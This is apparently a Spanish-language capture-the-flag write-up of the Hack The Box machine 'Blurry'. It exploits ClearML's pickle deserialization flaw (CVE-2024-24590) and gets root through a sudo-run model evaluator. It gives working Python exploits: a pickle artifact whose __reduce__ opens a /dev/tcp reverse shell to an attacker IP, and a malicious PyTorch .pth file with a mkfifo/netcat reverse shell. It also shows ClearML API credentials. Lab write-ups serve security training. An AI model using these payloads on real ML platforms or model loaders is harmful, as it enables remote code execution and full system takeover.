Blurry

nmap

```
# Nmap 7.94SVN scan initiated Tue Jun 11 21:12:36 2024 as: nmap -sC -sV -o nmap.scan 10.129.69.226
Nmap scan report for 10.129.69.226
Host is up (0.056s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
|   256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_  256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://app.blurry.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 11 21:12:47 2024 -- 1 IP address (1 host up) scanned in 10.55 seconds
```

```
#cat /etc/hosts
10.129.69.226   blurry.htb app.blurry.htb api.blurry.htb
```

#Nos dirigimos a http://app.blurry.htb/projects.
#Nos fijamos en el framework, vuln en la web, sobre este framework.

CVE-2024-24590: Pickle Load on Artifact Get
CVE-2024-24591: Path Traversal on File Download
CVE-2024-24592: Improper Auth Leading to Arbitrary Read-Write Access
CVE-2024-24593: Cross-Site Request Forgery in ClearML Server
CVE-2024-24594: Web Server Renders User HTML Leading to XSS
CVE-2024-24595: Credentials Stored in Plaintext in MongoDB Instance

#Encontramos estas vulnerabilidades.
#Nos centraremos en esta: CVE-2024-24590
#Creamos el script, a partir de esta información: https://hiddenlayer.com/research/not-so-clear-how-mlops-solutions-can-muddy-the-waters-of-your-supply-chain/

script.py

```
import pickle
import os
from clearml import Task

class CMD:
    def __reduce__(self):
        cmd = ('sh -i >& /dev/tcp/10.10.14.113/9001 0>&1')  # Replace 'payload' with the actual command you want to execute. example: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | ''/bin/sh -i 2>&1 | nc tun0 1337 > /tmp/f
        return os.system, (cmd,)

task = Task.init(project_name='Black Swan', task_name='exploit', tags=["review"], output_uri=True)
task.upload_artifact(name='pickle_artifact', artifact_object=CMD(), retries=2, wait_on_upload=True)
```

#Una vez, tenemos la rev_shell. Ya podremos inicializar.
#Para ello, nos iremos a https://clear.ml/docs/latest/docs/.
OJO (Es muy importante, tener el fichero /etc/hosts con los dominios)
10.10.11.19   app.blurry.htb file.blurry.htb api.blurry.htb

1. Instalamos la libreria.
pip install clearml

2. Instalamos el binario https://clear.ml/docs/latest/docs/getting_started/ds/ds_first_steps#install-clearml.

```
clearml-init
ClearML SDK setup process

Please create new clearml credentials through the settings page in your `clearml-server` web app (e.g. http://localhost:8080//settings/workspace-configuration)
Or create a free account at https://app.clear.ml/settings/workspace-configuration

In settings page, press "Create new credentials", then press "Copy to clipboard".
```

```
Paste copied configuration here:
api {
  web_server: http://app.blurry.htb
  api_server: http://api.blurry.htb
  files_server: http://files.blurry.htb
  credentials {
    "access_key" = "VKJZ8PZHN5RJZO5TYV19"
    "secret_key" = "y8cwk9R5366ydoQ7l5jXVXLpS8Z7RVFKiBO5pw0mNUMi3cXcZI"
  }
}
Detected credentials key="VKJZ8PZHN5RJZO5TYV19" secret="y8cw***"

ClearML Hosts configuration:
Web App: http://app.blurry.htb
API: http://api.blurry.htb
File Store: http://files.blurry.htb

Verifying credentials ...
Credentials verified!

New configuration stored in /home/alle/clearml.conf
ClearML setup completed successfully.
```

3.Instalamos el Agente: https://clear.ml/docs/latest/docs/clearml_agent/

```
clearml-agent daemon --queue default
Current configuration (clearml_agent v1.8.1, location: /home/alle/clearml.conf):
----------------------
api.version = 1.5
api.verify_certificate = true
api.default_version = 1.5
api.http.max_req_size = 15728640
api.http.retries.total = 240
api.http.retries.connect = 240
api.http.retries.read = 240
api.http.retries.redirect = 240
api.http.retries.status = 240
api.http.retries.backoff_factor = 1.0
api.http.retries.backoff_max = 120.0
api.http.wait_on_maintenance_forever = true
api.http.pool_maxsize = 512
api.http.pool_connections = 512
api.auth.token_expiration_threshold_sec = ****
api.api_server = http://api.blurry.htb
api.web_server = http://app.blurry.htb
api.files_server = http://files.blurry.htb
api.credentials.access_key = VKJZ8PZHN5RJZO5TYV19
api.credentials.secret_key = ****
api.host = http://api.blurry.htb
agent.worker_id =
agent.worker_name = DESKTOP-H80F5II
agent.force_git_ssh_protocol = false
agent.python_binary =
agent.package_manager.type = pip
agent.package_manager.pip_version.0 = <20.2 ; python_version < '3.10'
agent.package_manager.pip_version.1 = <22.3 ; python_version >\= '3.10'
agent.package_manager.system_site_packages = false
agent.package_manager.force_upgrade = false
agent.package_manager.conda_channels.0 = pytorch
agent.package_manager.conda_channels.1 = conda-forge
agent.package_manager.conda_channels.2 = nvidia
agent.package_manager.conda_channels.3 = defaults
agent.package_manager.priority_optional_packages.0 = pygobject
agent.package_manager.torch_nightly = false
agent.package_manager.poetry_files_from_repo_working_dir = false
agent.venvs_dir = /home/alle/.clearml/venvs-builds
agent.venvs_cache.max_entries = 10
agent.venvs_cache.free_space_threshold_gb = 2.0
agent.venvs_cache.path = ~/.clearml/venvs-cache
agent.vcs_cache.enabled = true
agent.vcs_cache.path = /home/alle/.clearml/vcs-cache
agent.venv_update.enabled = false
agent.pip_download_cache.enabled = true
agent.pip_download_cache.path = /home/alle/.clearml/pip-download-cache
agent.translate_ssh = true
agent.reload_config = false
agent.docker_pip_cache = /home/alle/.clearml/pip-cache
agent.docker_apt_cache = /home/alle/.clearml/apt-cache
agent.docker_force_pull = false
agent.default_docker.image = nvidia/cuda:11.0.3-cudnn8-runtime-ubuntu20.04
agent.enable_task_env = false
agent.sanitize_config_printout = ****
agent.hide_docker_command_env_vars.enabled = true
agent.hide_docker_command_env_vars.parse_embedded_urls = true
agent.abort_callback_max_timeout = 1800
agent.docker_internal_mounts.sdk_cache = /clearml_agent_cache
agent.docker_internal_mounts.apt_cache = /var/cache/apt/archives
agent.docker_internal_mounts.ssh_folder = ~/.ssh
agent.docker_internal_mounts.ssh_ro_folder = /.ssh
agent.docker_internal_mounts.pip_cache = /root/.cache/pip
agent.docker_internal_mounts.poetry_cache = /root/.cache/pypoetry
agent.docker_internal_mounts.vcs_cache = /root/.clearml/vcs-cache
agent.docker_internal_mounts.venv_build = ~/.clearml/venvs-builds
agent.docker_internal_mounts.pip_download = /root/.clearml/pip-download-cache
agent.apply_environment = true
agent.apply_files = true
agent.custom_build_script =
agent.disable_task_docker_override = false
agent.default_python = 3.11
agent.cuda_version = 122
agent.cudnn_version = 0
sdk.storage.cache.default_base_dir = ~/.clearml/cache
sdk.storage.cache.size.min_free_bytes = 10GB
sdk.storage.direct_access.0.url = file://*
sdk.metrics.file_history_size = 100
sdk.metrics.matplotlib_untitled_history_size = 100
sdk.metrics.images.format = JPEG
sdk.metrics.images.quality = 87
sdk.metrics.images.subsampling = 0
sdk.metrics.tensorboard_single_series_per_graph = false
sdk.network.metrics.file_upload_threads = 4
sdk.network.metrics.file_upload_starvation_warning_sec = 120
sdk.network.iteration.max_retries_on_server_error = 5
sdk.network.iteration.retry_backoff_factor_sec = 10
sdk.network.file_upload_retries = 3
sdk.aws.s3.key =
sdk.aws.s3.secret = ****
sdk.aws.s3.region =
sdk.aws.s3.use_credentials_chain = false
sdk.aws.boto3.pool_connections = 512
sdk.aws.boto3.max_multipart_concurrency = 16
sdk.aws.boto3.multipart_threshold = 8388608
sdk.aws.boto3.multipart_chunksize = 8388608
sdk.log.null_log_propagate = false
sdk.log.task_log_buffer_capacity = 66
sdk.log.disable_urllib3_info = true
sdk.development.task_reuse_time_window_in_hours = 72.0
sdk.development.vcs_repo_detect_async = true
sdk.development.store_uncommitted_code_diff = true
sdk.development.support_stopping = true
sdk.development.default_output_uri =
sdk.development.force_analyze_entire_repo = false
sdk.development.suppress_update_message = false
sdk.development.detect_with_pip_freeze = false
sdk.development.worker.report_period_sec = 2
sdk.development.worker.ping_period_sec = 30
sdk.development.worker.log_stdout = true
sdk.development.worker.report_global_mem_used = false
sdk.development.worker.report_event_flush_threshold = 100
sdk.development.worker.console_cr_flush_period = 10
sdk.apply_environment = false
sdk.apply_files = false
```

```
Worker "DESKTOP-H80F5II:0" - Listening to queues:
+----------------------------------+---------+-------+
| id                               | name    | tags  |
+----------------------------------+---------+-------+
| 83ade8cc274f4428889f85565440fe91 | default |       |
+----------------------------------+---------+-------+

Running CLEARML-AGENT daemon in background mode, writing stdout/stderr to /tmp/.clearml_agent_daemon_outestavy6j.txt

#Ejecutamos el script:

python3 script.py
ClearML Task: created new task id=ab0570246e0448ff9795c9760e2de16d
2024-06-14 19:05:47,862 - clearml.Task - INFO - No repository found, storing script code instead
ClearML results page: http://app.blurry.htb/projects/116c40b9b53743689239b6b460efd7be/experiments/ab0570246e0448ff9795c9760e2de16d/output/log

#Obtenemos el rev_shell.
nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.103] from (UNKNOWN) [10.10.11.19] 54956
/bin/sh: 0: can't access tty; job control turned off
$ whoami
jippity
```

priv_escalation

#Vemos que script, podemos ejecutar como root.

```
$ sudo -l
Matching Defaults entries for jippity on blurry:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jippity may run the following commands on blurry:
    (root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth
```

#Instalamos el múdulo.

#Creamos el script.

rev_shell2.py

```
import torch
import torch.nn as nn
import os

class MaliciousModel(nn.Module):
    # PyTorch's base class for all neural network modules
    def __init__(self):
        super(MaliciousModel, self).__init__()
        self.dense = nn.Linear(10, 1)

    # Define how the data flows through the model
    def forward(self, test): # Passes input through the linear layer.
        return self.dense(test)

    # Overridden __reduce__ Method
    def __reduce__(self):
        cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.103 6060 >/tmp/f"
        return os.system, (cmd,)

# Create an instance of the model
malicious_model = MaliciousModel()

# Save the model using torch.save
torch.save(malicious_model, 'test.pth')
```

#Ejecutamos el script.

```
python3 rev_shell2.py
```

#Veremos el fichero .pth

```
-rw-r--r-- 1 alle alle   916 Jun 14 20:38 test.pth
```

#Subimos el fichero a la máquina víctima.

```
wget 10.10.14.103/test.pth
--2024-06-14 15:18:59--  http://10.10.14.103/test.pth
Connecting to 10.10.14.103:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 916 [application/octet-stream]
Saving to: ‘test.pth’

     0K                                          100% 79.6M=0s
2024-06-14 15:18:59 (79.6 MB/s) - ‘test.pth’ saved [916/916]
```

#Ejecutamos el script con sudo.

```
sudo /usr/bin/evaluate_model /models/test.pth
[+] Model /models/test.pth is considered safe. Processing...
```

#Obtenemos la conexión.

```
nc -nlvp 6060
listening on [any] 6060 ...
connect to [10.10.14.103] from (UNKNOWN) [10.10.11.19] 35412
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
```